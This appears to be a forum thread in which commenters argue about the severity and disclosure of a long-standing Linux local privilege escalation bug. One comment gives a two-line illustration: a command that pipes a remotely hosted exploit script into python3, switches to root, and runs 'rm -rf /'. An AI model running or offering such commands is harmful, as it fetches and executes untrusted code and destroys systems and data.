I think you’re reading a ton into this vulnerability that is not there.
$ curl http://my.server.ip.addr/copy_fail_exp.py | python3 && su
# rm -rf / &
25 seconds if I type it out by hand instead of copypasta. Sigh.Otherwise it’s not.
It's an LPE that goes back years. It affects at least 3 generations of Debian servers. >5 years of some rolling distros. And instead of the kernel team telling the distro security guys ahead of time so they could do their jobs and keep us users from getting screwed they got no warning and woke up to baddies in a feeding frenzy.
Also, LPEs are how minor holes turn into rootkitted servers. But I expect most people here already know that.
Your assessment of the impact of this vulnerability is just wrong, and your level of panic about a “feeding frenzy” affecting anybody outside of hosted services where multiple users share a kernel is also wrong.